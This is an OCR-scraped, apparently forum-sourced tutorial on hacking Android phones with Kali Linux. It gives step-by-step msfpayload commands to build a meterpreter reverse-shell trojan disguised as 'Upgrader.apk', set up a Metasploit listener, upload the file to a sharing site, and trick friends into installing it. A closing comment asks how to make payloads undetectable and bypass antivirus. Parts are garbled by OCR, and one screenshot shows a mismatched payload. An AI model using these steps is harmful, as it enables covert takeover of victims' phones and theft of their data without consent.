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In this Tutorial You will be guided Howto Hack Android Using Kali. This a completely noob friendly tutorial . With Pics in each steps. 
All that u need is just Kali Linux installed in your PC and a droid to hack 

Step 1: Fire-Up Kali: 

• Open a terminal, and make a Trojan .apk 

• You can do this by typing : 

• msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk(replace LHOST with your own IP) 

• You can also hack android on WAN i.e. through Interet by using yourPublic/External IP in the LHOST and by port forwarding 



roat^kali: “ 




File- Edit Vi«w Search Termini! Help 



msfpayload android/m*terpret*r/rsverse_tcp L HOST -L 92, 163,0,4 R > / root /Upg radar, apk 
:*# | 



Step 2: Open Another Terminal: 



• Open another terminal until the file is being produced. 

• Load metasploit console, by typing : msfconsole 
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Tired of typing 'set RHOSTS 1 ? Click 6 pwn with Metasploit Pro 
Learn more on http://rapid7.com/metasploit 

= [ metasploit v4 * 

+ -- --=[ 1347 exploits - 743 aw,. 

+ .. --=[ 340 payloads - 35 encode 

+ .. --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] 

msf > | 




101 api:1.0.0J] 



Step 3: Set-Up a Listener: 

• After it loads(generally takes some time), load the multi-handler exploit by typing :use exploit/multi/handler 
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msf > use exploit/multi/handler 
msf exploit (i ndler ) > | 



• Set up a (reverse) payload by typing : set payload android/meterpreter/reverse_tcp 

• To set L host type : set LHOST 192.168.0.4 (Even if you are hacking on WAN type your private/internal IP here not the public/external) 



msf > use exploit/multi/handler 

msf exploit ( ) > set payload windows/mete rp refer/ re verse_tcp 

payload => windows/mete rp refer/ reverse_tcp 

msf exploit (■: . f ) > set LHOST 192.168.0.4 

LHOST => 192.168.0.4 

msf exploit ( ler) > | 



Step 4: Exploit! 

• At last type: exploit to start the listener. 

• Copy the application that you made (Upgrader.apk) from the root folder, to you android phone. 



Devices 
O Floppy 
Computer 
O Home 




• Then send it using Uploading it to Dropbox or any sharing website (like: http://www.sDeedvshare.com ). 

• Then send the link that the Website gave you to your friends and exploit their phones (Only on LAN, but if you used the WAN method then you can use 
the exploit anywhere on the INTERNET) 
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upload finished, find She download links below 
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Q Upgrader.apk ^ 



Ihttp : //s pe edy sh/669Ss/U pq ra der. a | 



Forum Link: [code] http://speedy.sh/S69Ss/ Upgrader.apk [/code] 

HTML Link: <a href= 'http://speedy.sh/S69Ss/Upgrader, apk''>Download at I 

Delete Key: vexixedudima 

Private: if ch+cktd, only you C*n tK# fil« (ftqyi r+i prtmrym) 



Link List N«vi upload 



• Let the Victim install the Upgrader app(as he would think it is meant to upgrade some features on his phone) 

• However, the option of allowance for Installation of apps from Unknown Sources should beenabled (if not) from the security settings of the android phone 
to allow the Trojan to install. 

• And when he clicks Open... 

Step 5: BOOM! 

There comes the meterpreter prompt: 
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Can u please email me how to FUD crypting methods and tools of payloads and how to bypass AV methods in kali 
thank u so much! 
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